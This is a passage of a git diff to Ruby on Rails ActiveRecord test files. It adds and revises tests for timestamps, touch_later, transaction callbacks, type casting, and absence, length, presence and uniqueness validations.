7c89b4b9e8..937b84bccc 100644 --- a/activerecord/test/cases/timestamp_test.rb +++ b/activerecord/test/cases/timestamp_test.rb @@ -84,7 +84,9 @@ class TimestampTest < ActiveRecord::TestCase def test_touching_an_attribute_updates_timestamp previously_created_at = @developer.created_at - @developer.touch(:created_at) + travel(1.second) do + @developer.touch(:created_at) + end assert !@developer.created_at_changed? , 'created_at should not be changed' assert !@developer.changed?, 'record should not be changed' @@ -96,8 +98,11 @@ class TimestampTest < ActiveRecord::TestCase task = Task.first previous_value = task.ending task.touch(:ending) + + now = Time.now.change(usec: 0) + assert_not_equal previous_value, task.ending - assert_in_delta Time.now, task.ending, 1 + assert_in_delta now, task.ending, 1 end def test_touching_an_attribute_updates_timestamp_with_given_time @@ -118,10 +123,12 @@ class TimestampTest < ActiveRecord::TestCase previous_ending = task.ending task.touch(:starting, :ending) + now = Time.now.change(usec: 0) + assert_not_equal previous_starting, task.starting assert_not_equal previous_ending, task.ending - assert_in_delta Time.now, task.starting, 1 - assert_in_delta Time.now, task.ending, 1 + assert_in_delta now, task.starting, 1 + assert_in_delta now, task.ending, 1 end def test_touching_a_record_without_timestamps_is_unexceptional @@ -199,8 +206,10 @@ class TimestampTest < ActiveRecord::TestCase owner = pet.owner previously_owner_updated_at = owner.updated_at - pet.name = "Fluffy the Third" - pet.save + travel(1.second) do + pet.name = "Fluffy the Third" + pet.save + end assert_not_equal previously_owner_updated_at, pet.owner.updated_at end @@ -210,7 +219,9 @@ class TimestampTest < ActiveRecord::TestCase owner = pet.owner previously_owner_updated_at = owner.updated_at - pet.destroy + travel(1.second) do + pet.destroy + end assert_not_equal previously_owner_updated_at, pet.owner.updated_at end @@ -254,8 +265,10 @@ class TimestampTest < ActiveRecord::TestCase owner.update_columns(happy_at: 3.days.ago) previously_owner_updated_at = owner.updated_at - pet.name = "I'm a parrot" - pet.save + travel(1.second) do + pet.name = "I'm a parrot" + pet.save + end assert_not_equal previously_owner_updated_at, pet.owner.updated_at end @@ -446,6 +459,17 @@ class TimestampTest < ActiveRecord::TestCase toy = Toy.first assert_equal [:created_at, :updated_at], toy.send(:all_timestamp_attributes_in_model) end + + def test_index_is_created_for_both_timestamps + ActiveRecord::Base.connection.create_table(:foos, force: true) do |t| + t.timestamps(:foos, null: true, index: true) + end + + indexes = ActiveRecord::Base.connection.indexes('foos') + assert_equal ['created_at', 'updated_at'], indexes.flat_map(&:columns).sort + ensure + ActiveRecord::Base.connection.drop_table(:foos) + end end class TimestampsWithoutTransactionTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/touch_later_test.rb b/activerecord/test/cases/touch_later_test.rb new file mode 100644 index 0000000000..b47769eed7 --- /dev/null +++ b/activerecord/test/cases/touch_later_test.rb @@ -0,0 +1,112 @@ +require 'cases/helper' +require 'models/invoice' +require 'models/line_item' +require 'models/topic' +require 'models/node' +require 'models/tree' + +class TouchLaterTest < ActiveRecord::TestCase + fixtures :nodes, :trees + + def test_touch_laster_raise_if_non_persisted + invoice = Invoice.new + Invoice.transaction do + assert_not invoice.persisted? + assert_raises(ActiveRecord::ActiveRecordError) do + invoice.touch_later + end + end + end + + def test_touch_later_dont_set_dirty_attributes + invoice = Invoice.create! + invoice.touch_later + assert_not invoice.changed? + end + + def test_touch_later_update_the_attributes + time = Time.now.utc - 25.days + topic = Topic.create!(updated_at: time, created_at: time) + assert_equal time.to_i, topic.updated_at.to_i + assert_equal time.to_i, topic.created_at.to_i + + Topic.transaction do + topic.touch_later(:created_at) + assert_not_equal time.to_i, topic.updated_at.to_i + assert_not_equal time.to_i, topic.created_at.to_i + + assert_equal time.to_i, topic.reload.updated_at.to_i + assert_equal time.to_i, topic.reload.created_at.to_i + end + assert_not_equal time.to_i, topic.reload.updated_at.to_i + assert_not_equal time.to_i, topic.reload.created_at.to_i + end + + def test_touch_touches_immediately + time = Time.now.utc - 25.days + topic = Topic.create!(updated_at: time, created_at: time) + assert_equal time.to_i, topic.updated_at.to_i + assert_equal time.to_i, topic.created_at.to_i + + Topic.transaction do + topic.touch_later(:created_at) + topic.touch + + assert_not_equal time, topic.reload.updated_at + assert_not_equal time, topic.reload.created_at + end + end + + def test_touch_later_an_association_dont_autosave_parent + time = Time.now.utc - 25.days + line_item = LineItem.create!(amount: 1) + invoice = Invoice.create!(line_items: [line_item]) + invoice.touch(time: time) + + Invoice.transaction do + line_item.update(amount: 2) + assert_equal time.to_i, invoice.reload.updated_at.to_i + end + + assert_not_equal time.to_i, invoice.updated_at.to_i + end + + def test_touch_touches_immediately_with_a_custom_time + time = (Time.now.utc - 25.days).change(nsec: 0) + topic = Topic.create!(updated_at: time, created_at: time) + assert_equal time, topic.updated_at + assert_equal time, topic.created_at + + Topic.transaction do + topic.touch_later(:created_at) + time = Time.now.utc - 2.days + topic.touch(time: time) + + assert_equal time.to_i, topic.reload.updated_at.to_i + assert_equal time.to_i, topic.reload.created_at.to_i + end + end + + def test_touch_later_dont_hit_the_db + invoice = Invoice.create! + assert_queries(0) do + invoice.touch_later + end + end + + def test_touching_three_deep + previous_tree_updated_at = trees(:root).updated_at + previous_grandparent_updated_at = nodes(:grandparent).updated_at + previous_parent_updated_at = nodes(:parent_a).updated_at + previous_child_updated_at = nodes(:child_one_of_a).updated_at + + travel 5.seconds do + Node.create! parent: nodes(:child_one_of_a), tree: trees(:root) + end + + assert_not_equal nodes(:child_one_of_a).reload.updated_at, previous_child_updated_at + assert_not_equal nodes(:parent_a).reload.updated_at, previous_parent_updated_at + assert_not_equal nodes(:grandparent).reload.updated_at, previous_grandparent_updated_at + assert_not_equal trees(:root).reload.updated_at, previous_tree_updated_at + end +end diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb index f2229939c8..8a7f19293d 100644 --- a/activerecord/test/cases/transaction_callbacks_test.rb +++ b/activerecord/test/cases/transaction_callbacks_test.rb @@ -34,10 +34,11 @@ class TransactionCallbacksTest < ActiveRecord::TestCase has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id" + before_commit { |record| record.do_before_commit(nil) } after_commit { |record| record.do_after_commit(nil) } - after_commit(on: :create) { |record| record.do_after_commit(:create) } - after_commit(on: :update) { |record| record.do_after_commit(:update) } - after_commit(on: :destroy) { |record| record.do_after_commit(:destroy) } + after_create_commit { |record| record.do_after_commit(:create) } + after_update_commit { |record| record.do_after_commit(:update) } + after_destroy_commit { |record| record.do_after_commit(:destroy) } after_rollback { |record| record.do_after_rollback(nil) } after_rollback(on: :create) { |record| record.do_after_rollback(:create) } after_rollback(on: :update) { |record| record.do_after_rollback(:update) } @@ -47,6 +48,12 @@ class TransactionCallbacksTest < ActiveRecord::TestCase @history ||= [] end + def before_commit_block(on = nil, &block) + @before_commit ||= {} + @before_commit[on] ||= [] + @before_commit[on] << block + end + def after_commit_block(on = nil, &block) @after_commit ||= {} @after_commit[on] ||= [] @@ -59,6 +66,11 @@ class TransactionCallbacksTest < ActiveRecord::TestCase @after_rollback[on] << block end + def do_before_commit(on) + blocks = @before_commit[on] if defined?(@before_commit) + blocks.each{|b| b.call(self)} if blocks + end + def do_after_commit(on) blocks = @after_commit[on] if defined?(@after_commit) blocks.each{|b| b.call(self)} if blocks @@ -74,6 +86,20 @@ class TransactionCallbacksTest < ActiveRecord::TestCase @first = TopicWithCallbacks.find(1) end + # FIXME: Test behavior, not implementation. + def test_before_commit_exception_should_pop_transaction_stack + @first.before_commit_block { raise 'better pop this txn from the stack!' } + + original_txn = @first.class.connection.current_transaction + + begin + @first.save! + fail + rescue + assert_equal original_txn, @first.class.connection.current_transaction + end + end + def test_call_after_commit_after_transaction_commits @first.after_commit_block{|r| r.history << :after_commit} @first.after_rollback_block{|r| r.history << :after_rollback} diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb index 2468a91969..791b895d02 100644 --- a/activerecord/test/cases/transactions_test.rb +++ b/activerecord/test/cases/transactions_test.rb @@ -58,6 +58,11 @@ class TransactionTest < ActiveRecord::TestCase end end + def test_add_to_null_transaction + topic = Topic.new + topic.add_to_transaction + end + def test_successful_with_return committed = false @@ -175,13 +180,20 @@ class TransactionTest < ActiveRecord::TestCase assert topic.new_record?, "#{topic.inspect} should be new record" end + def test_transaction_state_is_cleared_when_record_is_persisted + author = Author.create! name: 'foo' + author.name = nil + assert_not author.save + assert_not author.new_record? + end + def test_update_should_rollback_on_failure author = Author.find(1) posts_count = author.posts.size assert posts_count > 0 status = author.update(name: nil, post_ids: []) assert !status - assert_equal posts_count, author.posts(true).size + assert_equal posts_count, author.posts.reload.size end def test_update_should_rollback_on_failure! @@ -191,7 +203,7 @@ class TransactionTest < ActiveRecord::TestCase assert_raise(ActiveRecord::RecordInvalid) do author.update!(name: nil, post_ids: []) end - assert_equal posts_count, author.posts(true).size + assert_equal posts_count, author.posts.reload.size end def test_cancellation_from_returning_false_in_before_filter @@ -480,13 +492,17 @@ class TransactionTest < ActiveRecord::TestCase end def test_rollback_when_commit_raises - Topic.connection.expects(:begin_db_transaction) - Topic.connection.expects(:commit_db_transaction).raises('OH NOES') - Topic.connection.expects(:rollback_db_transaction) + assert_called(Topic.connection, :begin_db_transaction) do + Topic.connection.stub(:commit_db_transaction, ->{ raise('OH NOES') }) do + assert_called(Topic.connection, :rollback_db_transaction) do - assert_raise RuntimeError do - Topic.transaction do - # do nothing + e = assert_raise RuntimeError do + Topic.transaction do + # do nothing + end + end + assert_equal 'OH NOES', e.message + end end end end diff --git a/activerecord/test/cases/type/date_time_test.rb b/activerecord/test/cases/type/date_time_test.rb new file mode 100644 index 0000000000..bc4900e1c2 --- /dev/null +++ b/activerecord/test/cases/type/date_time_test.rb @@ -0,0 +1,14 @@ +require "cases/helper" +require "models/task" + +module ActiveRecord + module Type + class IntegerTest < ActiveRecord::TestCase + def test_datetime_seconds_precision_applied_to_timestamp + skip "This test is invalid if subsecond precision isn't supported" unless subsecond_precision_supported? + p = Task.create!(starting: ::Time.now) + assert_equal p.starting.usec, p.reload.starting.usec + end + end + end +end diff --git a/activerecord/test/cases/type/integer_test.rb b/activerecord/test/cases/type/integer_test.rb index 84fb05dd8e..c0932d5357 100644 --- a/activerecord/test/cases/type/integer_test.rb +++ b/activerecord/test/cases/type/integer_test.rb @@ -4,112 +4,12 @@ require "models/company" module ActiveRecord module Type class IntegerTest < ActiveRecord::TestCase - test "simple values" do - type = Type::Integer.new - assert_equal 1, type.cast(1) - assert_equal 1, type.cast('1') - assert_equal 1, type.cast('1ignore') - assert_equal 0, type.cast('bad1') - assert_equal 0, type.cast('bad') - assert_equal 1, type.cast(1.7) - assert_equal 0, type.cast(false) - assert_equal 1, type.cast(true) - assert_nil type.cast(nil) - end - - test "random objects cast to nil" do - type = Type::Integer.new - assert_nil type.cast([1,2]) - assert_nil type.cast({1 => 2}) - assert_nil type.cast((1..2)) - end - test "casting ActiveRecord models" do type = Type::Integer.new firm = Firm.create(:name => 'Apple') assert_nil type.cast(firm) end - test "casting objects without to_i" do - type = Type::Integer.new - assert_nil type.cast(::Object.new) - end - - test "casting nan and infinity" do - type = Type::Integer.new - assert_nil type.cast(::Float::NAN) - assert_nil type.cast(1.0/0.0) - end - - test "casting booleans for database" do - type = Type::Integer.new - assert_equal 1, type.serialize(true) - assert_equal 0, type.serialize(false) - end - - test "changed?" do - type = Type::Integer.new - - assert type.changed?(5, 5, '5wibble') - assert_not type.changed?(5, 5, '5') - assert_not type.changed?(5, 5, '5.0') - assert_not type.changed?(-5, -5, '-5') - assert_not type.changed?(-5, -5, '-5.0') - assert_not type.changed?(nil, nil, nil) - end - - test "values below int min value are out of range" do - assert_raises(::RangeError) do - Integer.new.serialize(-2147483649) - end - end - - test "values above int max value are out of range" do - assert_raises(::RangeError) do - Integer.new.serialize(2147483648) - end - end - - test "very small numbers are out of range" do - assert_raises(::RangeError) do - Integer.new.serialize(-9999999999999999999999999999999) - end - end - - test "very large numbers are out of range" do - assert_raises(::RangeError) do - Integer.new.serialize(9999999999999999999999999999999) - end - end - - test "normal numbers are in range" do - type = Integer.new - assert_equal(0, type.serialize(0)) - assert_equal(-1, type.serialize(-1)) - assert_equal(1, type.serialize(1)) - end - - test "int max value is in range" do - assert_equal(2147483647, Integer.new.serialize(2147483647)) - end - - test "int min value is in range" do - assert_equal(-2147483648, Integer.new.serialize(-2147483648)) - end - - test "columns with a larger limit have larger ranges" do - type = Integer.new(limit: 8) - - assert_equal(9223372036854775807, type.serialize(9223372036854775807)) - assert_equal(-9223372036854775808, type.serialize(-9223372036854775808)) - assert_raises(::RangeError) do - type.serialize(-9999999999999999999999999999999) - end - assert_raises(::RangeError) do - type.serialize(9999999999999999999999999999999) - end - end - test "values which are out of range can be re-assigned" do klass = Class.new(ActiveRecord::Base) do self.table_name = 'posts' diff --git a/activerecord/test/cases/type/string_test.rb b/activerecord/test/cases/type/string_test.rb index 56e9bf434d..6fe6d46711 100644 --- a/activerecord/test/cases/type/string_test.rb +++ b/activerecord/test/cases/type/string_test.rb @@ -2,20 +2,6 @@ require 'cases/helper' module ActiveRecord class StringTypeTest < ActiveRecord::TestCase - test "type casting" do - type = Type::String.new - assert_equal "t", type.cast(true) - assert_equal "f", type.cast(false) - assert_equal "123", type.cast(123) - end - - test "values are duped coming out" do - s = "foo" - type = Type::String.new - assert_not_same s, type.cast(s) - assert_not_same s, type.deserialize(s) - end - test "string mutations are detected" do klass = Class.new(Base) klass.table_name = 'authors' diff --git a/activerecord/test/cases/types_test.rb b/activerecord/test/cases/types_test.rb index 9b1859c2ce..81fcf04a27 100644 --- a/activerecord/test/cases/types_test.rb +++ b/activerecord/test/cases/types_test.rb @@ -3,111 +3,6 @@ require "cases/helper" module ActiveRecord module ConnectionAdapters class TypesTest < ActiveRecord::TestCase - def test_type_cast_boolean - type = Type::Boolean.new - assert type.cast('').nil? - assert type.cast(nil).nil? - - assert type.cast(true) - assert type.cast(1) - assert type.cast('1') - assert type.cast('t') - assert type.cast('T') - assert type.cast('true') - assert type.cast('TRUE') - assert type.cast('on') - assert type.cast('ON') - assert type.cast(' ') - assert type.cast("\u3000\r\n") - assert type.cast("\u0000") - assert type.cast('SOMETHING RANDOM') - - # explicitly check for false vs nil - assert_equal false, type.cast(false) - assert_equal false, type.cast(0) - assert_equal false, type.cast('0') - assert_equal false, type.cast('f') - assert_equal false, type.cast('F') - assert_equal false, type.cast('false') - assert_equal false, type.cast('FALSE') - assert_equal false, type.cast('off') - assert_equal false, type.cast('OFF') - end - - def test_type_cast_float - type = Type::Float.new - assert_equal 1.0, type.cast("1") - end - - def test_changing_float - type = Type::Float.new - - assert type.changed?(5.0, 5.0, '5wibble') - assert_not type.changed?(5.0, 5.0, '5') - assert_not type.changed?(5.0, 5.0, '5.0') - assert_not type.changed?(nil, nil, nil) - end - - def test_type_cast_binary - type = Type::Binary.new - assert_equal nil, type.cast(nil) - assert_equal "1", type.cast("1") - assert_equal 1, type.cast(1) - end - - def test_type_cast_time - type = Type::Time.new - assert_equal nil, type.cast(nil) - assert_equal nil, type.cast('') - assert_equal nil, type.cast('ABC') - - time_string = Time.now.utc.strftime("%T") - assert_equal time_string, type.cast(time_string).strftime("%T") - end - - def test_type_cast_datetime_and_timestamp - type = Type::DateTime.new - assert_equal nil, type.cast(nil) - assert_equal nil, type.cast('') - assert_equal nil, type.cast(' ') - assert_equal nil, type.cast('ABC') - - datetime_string = Time.now.utc.strftime("%FT%T") - assert_equal datetime_string, type.cast(datetime_string).strftime("%FT%T") - end - - def test_type_cast_date - type = Type::Date.new - assert_equal nil, type.cast(nil) - assert_equal nil, type.cast('') - assert_equal nil, type.cast(' ') - assert_equal nil, type.cast('ABC') - - date_string = Time.now.utc.strftime("%F") - assert_equal date_string, type.cast(date_string).strftime("%F") - end - - def test_type_cast_duration_to_integer - type = Type::Integer.new - assert_equal 1800, type.cast(30.minutes) - assert_equal 7200, type.cast(2.hours) - end - - def test_string_to_time_with_timezone - [:utc, :local].each do |zone| - with_timezone_config default: zone do - type = Type::DateTime.new - assert_equal Time.utc(2013, 9, 4, 0, 0, 0), type.cast("Wed, 04 Sep 2013 03:00:00 EAT") - end - end - end - - def test_type_equality - assert_equal Type::Value.new, Type::Value.new - assert_not_equal Type::Value.new, Type::Integer.new - assert_not_equal Type::Value.new(precision: 1), Type::Value.new(precision: 2) - end - def test_attributes_which_are_invalid_for_database_can_still_be_reassigned type_which_cannot_go_to_the_database = Type::Value.new def type_which_cannot_go_to_the_database.serialize(*) diff --git a/activerecord/test/cases/validations/absence_validation_test.rb b/activerecord/test/cases/validations/absence_validation_test.rb new file mode 100644 index 0000000000..c0b3750bcc --- /dev/null +++ b/activerecord/test/cases/validations/absence_validation_test.rb @@ -0,0 +1,73 @@ +require "cases/helper" +require 'models/face' +require 'models/interest' +require 'models/man' +require 'models/topic' + +class AbsenceValidationTest < ActiveRecord::TestCase + def test_non_association + boy_klass = Class.new(Man) do + def self.name; "Boy" end + validates_absence_of :name + end + + assert boy_klass.new.valid? + assert_not boy_klass.new(name: "Alex").valid? + end + + def test_has_one_marked_for_destruction + boy_klass = Class.new(Man) do + def self.name; "Boy" end + validates_absence_of :face + end + + boy = boy_klass.new(face: Face.new) + assert_not boy.valid?, "should not be valid if has_one association is present" + assert_equal 1, boy.errors[:face].size, "should only add one error" + + boy.face.mark_for_destruction + assert boy.valid?, "should be valid if association is marked for destruction" + end + + def test_has_many_marked_for_destruction + boy_klass = Class.new(Man) do + def self.name; "Boy" end + validates_absence_of :interests + end + boy = boy_klass.new + boy.interests << [i1 = Interest.new, i2 = Interest.new] + assert_not boy.valid?, "should not be valid if has_many association is present" + + i1.mark_for_destruction + assert_not boy.valid?, "should not be valid if has_many association is present" + + i2.mark_for_destruction + assert boy.valid? + end + + def test_does_not_call_to_a_on_associations + boy_klass = Class.new(Man) do + def self.name; "Boy" end + validates_absence_of :face + end + + face_with_to_a = Face.new + def face_with_to_a.to_a; ['(/)', '(\)']; end + + assert_nothing_raised { boy_klass.new(face: face_with_to_a).valid? } + end + + def test_validates_absence_of_virtual_attribute_on_model + repair_validations(Interest) do + Interest.send(:attr_accessor, :token) + Interest.validates_absence_of(:token) + + interest = Interest.create!(topic: 'Thought Leadering') + assert interest.valid? + + interest.token = 'tl' + + assert interest.invalid? + end + end +end diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb index bff5ffa65e..584a3dc0d8 100644 --- a/activerecord/test/cases/validations/association_validation_test.rb +++ b/activerecord/test/cases/validations/association_validation_test.rb @@ -45,6 +45,18 @@ class AssociationValidationTest < ActiveRecord::TestCase assert t.valid? end + def test_validates_associated_without_marked_for_destruction + reply = Class.new do + def valid? + true + end + end + Topic.validates_associated(:replies) + t = Topic.new + t.define_singleton_method(:replies) { [reply.new] } + assert t.valid? + end + def test_validates_associated_with_custom_message_using_quotes Reply.validates_associated :topic, :message=> "This string contains 'single' and \"double\" quotes" Topic.validates_presence_of :content diff --git a/activerecord/test/cases/validations/i18n_validation_test.rb b/activerecord/test/cases/validations/i18n_validation_test.rb index 268d7914b5..b8307d6665 100644 --- a/activerecord/test/cases/validations/i18n_validation_test.rb +++ b/activerecord/test/cases/validations/i18n_validation_test.rb @@ -47,29 +47,25 @@ class I18nValidationTest < ActiveRecord::TestCase # [ "given on condition", {on: :save}, {}] ] - # validates_uniqueness_of w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_uniqueness_of on generated message #{name}" do Topic.validates_uniqueness_of :title, validation_options @topic.title = unique_topic.title - @topic.errors.expects(:generate_message).with(:title, :taken, generate_message_options.merge(:value => 'unique!')) - @topic.valid? + assert_called_with(@topic.errors, :generate_message, [:title, :taken, generate_message_options.merge(:value => 'unique!')]) do + @topic.valid? + end end end - # validates_associated w/ mocha - COMMON_CASES.each do |name, validation_options, generate_message_options| test "validates_associated on generated message #{name}" do Topic.validates_associated :replies, validation_options - replied_topic.errors.expects(:generate_message).with(:replies, :invalid, generate_message_options.merge(:value => replied_topic.replies)) - replied_topic.save + assert_called_with(replied_topic.errors, :generate_message, [:replies, :invalid, generate_message_options.merge(:value => replied_topic.replies)]) do + replied_topic.save + end end end - # validates_associated w/o mocha - def test_validates_associated_finds_custom_model_key_translation I18n.backend.store_translations 'en', :activerecord => {:errors => {:models => {:topic => {:attributes => {:replies => {:invalid => 'custom message'}}}}}} I18n.backend.store_translations 'en', :activerecord => {:errors => {:messages => {:invalid => 'global message'}}} diff --git a/activerecord/test/cases/validations/length_validation_test.rb b/activerecord/test/cases/validations/length_validation_test.rb index f95f8f0b8f..78263fd955 100644 --- a/activerecord/test/cases/validations/length_validation_test.rb +++ b/activerecord/test/cases/validations/length_validation_test.rb @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- require "cases/helper" require 'models/owner' require 'models/pet' @@ -62,17 +61,19 @@ class LengthValidationTest < ActiveRecord::TestCase assert_equal pet_count, Pet.count end - def test_does_not_validate_length_of_if_parent_record_is_validate_false - @owner.validates_length_of :name, minimum: 1 - owner = @owner.new - owner.save!(validate: false) - assert owner.persisted? + def test_validates_length_of_virtual_attribute_on_model + repair_validations(Pet) do + Pet.send(:attr_accessor, :nickname) + Pet.validates_length_of(:name, minimum: 1) + Pet.validates_length_of(:nickname, minimum: 1) - pet = Pet.new(owner_id: owner.id) - pet.save! + pet = Pet.create!(name: 'Fancy Pants', nickname: 'Fancy') - assert_equal owner.pets.size, 1 - assert owner.valid? - assert pet.valid? + assert pet.valid? + + pet.nickname = '' + + assert pet.invalid? + end end end diff --git a/activerecord/test/cases/validations/presence_validation_test.rb b/activerecord/test/cases/validations/presence_validation_test.rb index 6f8ad06ab6..868d111b8c 100644 --- a/activerecord/test/cases/validations/presence_validation_test.rb +++ b/activerecord/test/cases/validations/presence_validation_test.rb @@ -65,19 +65,39 @@ class PresenceValidationTest < ActiveRecord::TestCase assert_nothing_raised { s.valid? } end - def test_does_not_validate_presence_of_if_parent_record_is_validate_false + def test_validates_presence_of_virtual_attribute_on_model repair_validations(Interest) do + Interest.send(:attr_accessor, :abbreviation) Interest.validates_presence_of(:topic) + Interest.validates_presence_of(:abbreviation) + + interest = Interest.create!(topic: 'Thought Leadering', abbreviation: 'tl') + assert interest.valid? + + interest.abbreviation = '' + + assert interest.invalid? + end + end + + def test_validations_run_on_persisted_record + repair_validations(Interest) do interest = Interest.new - interest.save!(validate: false) - assert interest.persisted? + interest.save! + assert_predicate interest, :valid? - man = Man.new(interest_ids: [interest.id]) - man.save! + Interest.validates_presence_of(:topic) - assert_equal man.interests.size, 1 - assert interest.valid? - assert man.valid? + assert_not_predicate interest, :valid? + end + end + + def test_validates_presence_with_on_context + repair_validations(Interest) do + Interest.validates_presence_of(:topic, on: :required_name) + interest = Interest.new + interest.save! + assert_not interest.valid?(:required_name) end end end diff --git a/activerecord/test/cases/validations/uniqueness_validation_test.rb b/activerecord/test/cases/validations/uniqueness_validation_test.rb index 062bc733f9..4b0a590adb 100644 --- a/activerecord/test/cases/validations/uniqueness_validation_test.rb +++ b/activerecord/test/cases/validations/uniqueness_validation_test.rb @@ -4,6 +4,8 @@ require 'models/reply' require 'models/warehouse_thing' require 'models/guid' require 'models/event' +require 'models/dashboard' +require 'models/uuid_item' class Wizard < ActiveRecord::Base self.abstract_class = true @@ -34,7 +36,34 @@ class TopicWithUniqEvent < Topic validates :event, uniqueness: true end +class BigIntTest < ActiveRecord::Base + INT_MAX_VALUE = 2147483647 + self.table_name = 'cars' + validates :engines_count, uniqueness: true, inclusion: { in: 0..INT_MAX_VALUE } +end + +class BigIntReverseTest < ActiveRecord::Base + INT_MAX_VALUE = 2147483647 + self.table_name = 'cars' + validates :engines_count, inclusion: { in: 0..INT_MAX_VALUE } + validates :engines_count, uniqueness: true +end + +class CoolTopic < Topic + validates_uniqueness_of :id +end + +class TopicWithAfterCreate < Topic + after_create :set_author + + def set_author + update_attributes!(:author_name => "#{title} #{id}") + end +end + class UniquenessValidationTest < ActiveRecord::TestCase + INT_MAX_VALUE = 2147483647 + fixtures :topics, 'warehouse-things' repair_validations(Topic, Reply) @@ -86,6 +115,16 @@ class UniquenessValidationTest < ActiveRecord::TestCase assert t2.errors[:title] end + def test_validate_uniqueness_when_integer_out_of_range + entry = BigIntTest.create(engines_count: INT_MAX_VALUE + 1) + assert_equal entry.errors[:engines_count], ['is not included in the list'] + end + + def test_validate_uniqueness_when_integer_out_of_range_show_order_does_not_matter + entry = BigIntReverseTest.create(engines_count: INT_MAX_VALUE + 1) + assert_equal entry.errors[:engines_count], ['is not included in the list'] + end + def test_validates_uniqueness_with_newline_chars Topic.validates_uniqueness_of(:title, :case_sensitive => false) @@ -310,19 +349,41 @@ class UniquenessValidationTest < ActiveRecord::TestCase end def test_validate_uniqueness_with_limit - # Event.title is limited to 5 characters - e1 = Event.create(:title => "abcde") - assert e1.valid?, "Could not create an event with a unique, 5 character title" - e2 = Event.create(:title => "abcdefgh") - assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique" + if current_adapter?(:SQLite3Adapter) + # Event.title has limit 5, but SQLite doesn't truncate. + e1 = Event.create(title: "abcdefgh") + assert e1.valid?, "Could not create an event with a unique 8 characters title" + + e2 = Event.create(title: "abcdefgh") + assert_not e2.valid?, "Created an event whose title is not unique" + elsif current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :SQLServerAdapter) + assert_raise(ActiveRecord::ValueTooLong) do + Event.create(title: "abcdefgh") + end + else + assert_raise(ActiveRecord::StatementInvalid) do + Event.create(title: "abcdefgh") + end + end end def test_validate_uniqueness_with_limit_and_utf8 - # Event.title is limited to 5 characters - e1 = Event.create(:title => "一二三四五") - assert e1.valid?, "Could not create an event with a unique, 5 character title" - e2 = Event.create(:title => "一二三四五å…七八") - assert !e2.valid?, "Created an event whose title, with limit taken into account, is not unique" + if current_adapter?(:SQLite3Adapter) + # Event.title has limit 5, but does SQLite doesn't truncate. + e1 = Event.create(title: "一二三四五å…七八") + assert e1.valid?, "Could not create an event with a unique 8 characters title" + + e2 = Event.create(title: "一二三四五å…七八") + assert_not e2.valid?, "Created an event whose title is not unique" + elsif current_adapter?(:Mysql2Adapter, :PostgreSQLAdapter, :SQLServerAdapter) + assert_raise(ActiveRecord::ValueTooLong) do + Event.create(title: "一二三四五å…七八") + end + else + assert_raise(ActiveRecord::StatementInvalid) do + Event.create(title: "一二三四五å…七八") + end + end end def test_validate_straight_inheritance_uniqueness @@ -386,20 +447,86 @@ class UniquenessValidationTest < ActiveRecord::TestCase assert topic.valid? end - def test_does_not_validate_uniqueness_of_if_parent_record_is_validate_false - Reply.validates_uniqueness_of(:content) + def test_validate_uniqueness_of_custom_primary_key + klass = Class.new(ActiveRecord::Base) do + self.table_name = "keyboards" + self.primary_key = :key_number - Reply.create!(content: "Topic Title") + validates_uniqueness_of :key_number - reply = Reply.new(content: "Topic Title") - reply.save!(validate: false) - assert reply.persisted? + def self.name + "Keyboard" + end + end - topic = Topic.new(reply_ids: [reply.id]) - topic.save! + klass.create!(key_number: 10) + key2 = klass.create!(key_number: 11) - assert_equal topic.replies.size, 1 - assert reply.valid? - assert topic.valid? + key2.key_number = 10 + assert_not key2.valid? + end + + def test_validate_uniqueness_without_primary_key + klass = Class.new(ActiveRecord::Base) do + self.table_name = "dashboards" + + validates_uniqueness_of :dashboard_id + + def self.name; "Dashboard" end + end + + abc = klass.create!(dashboard_id: "abc") + assert klass.new(dashboard_id: "xyz").valid? + assert_not klass.new(dashboard_id: "abc").valid? + + abc.dashboard_id = "def" + + e = assert_raises ActiveRecord::UnknownPrimaryKey do + abc.save! + end + assert_match(/\AUnknown primary key for table dashboards in model/, e.message) + assert_match(/Can not validate uniqueness for persisted record without primary key.\z/, e.message) + end + + def test_validate_uniqueness_ignores_itself_when_primary_key_changed + Topic.validates_uniqueness_of(:title) + + t = Topic.new("title" => "This is a unique title") + assert t.save, "Should save t as unique" + + t.id += 1 + assert t.valid?, "Should be valid" + assert t.save, "Should still save t as unique" + end + + def test_validate_uniqueness_with_after_create_performing_save + TopicWithAfterCreate.validates_uniqueness_of(:title) + topic = TopicWithAfterCreate.create!(:title => "Title1") + assert topic.author_name.start_with?("Title1") + + topic2 = TopicWithAfterCreate.new(:title => "Title1") + refute topic2.valid? + assert_equal(["has already been taken"], topic2.errors[:title]) + end + + def test_validate_uniqueness_uuid + skip unless current_adapter?(:PostgreSQLAdapter) + item = UuidItem.create!(uuid: SecureRandom.uuid, title: 'item1') + item.update(title: 'item1-title2') + assert_empty item.errors + + item2 = UuidValidatingItem.create!(uuid: SecureRandom.uuid, title: 'item2') + item2.update(title: 'item2-title2') + assert_empty item2.errors + end + + def test_validate_uniqueness_regular_id + item = CoolTopic.create!(title: 'MyItem') + assert_empty item.errors + + item2 = CoolTopic.new(id: item.id, title: 'MyItem2') + refute item2.valid? + + assert_equal(["has already been taken"], item2.errors[:id]) end end diff --git a/activerecord/test/cases/validations_test.rb b/activerecord/test/cases/validations_test.rb index f4f316f393..85e33d2218 100644 --- a/activerecord/test/cases/validations_test.rb +++ b/activerecord/test/cases/validations_test.rb @@ -52,6 +52,13 @@ class ValidationsTest < ActiveRecord::TestCase assert r.valid?(:special_case) end + def test_invalid_using_multiple_contexts + r = WrongReply.new(:title => 'Wrong Create') + assert r.invalid?([:special_case, :create]) + assert_equal "Invalid", r.errors[:author_name].join + assert_equal "is Wrong Create", r.errors[:title].join + end + def test_validate r = WrongReply.new @@ -123,7 +130,7 @@ class ValidationsTest < ActiveRecord::TestCase def test_validates_acceptance_of_with_non_existent_table Object.const_set :IncorporealModel, Class.new(ActiveRecord::Base) - assert_nothing_raised ActiveRecord::StatementInvalid do + assert_nothing_raised do 